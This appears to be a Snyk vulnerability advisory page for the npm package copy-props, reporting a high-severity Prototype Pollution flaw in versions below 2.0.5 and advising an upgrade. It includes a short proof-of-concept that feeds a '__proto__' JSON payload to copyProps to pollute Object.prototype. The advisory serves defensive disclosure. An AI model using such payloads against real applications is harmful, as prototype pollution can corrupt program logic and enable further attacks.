copy-props@1.0.0 vulnerabilities

Copy properties deeply between two objects.

  • latest version

    4.0.0

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    2 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the copy-props package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    copy-props is a Copy properties deeply between two objects.

    Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

    POC

    const copyProps = require('copy-props');
    
    var malicious_payload = '{"__proto__":{"polluted":"polluted"}}';
    console.log("Before : " + {}.polluted);
    
    copyProps(JSON.parse(malicious_payload), {});
    console.log("After : " + {}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade copy-props to version 2.0.5 or higher.

    <2.0.5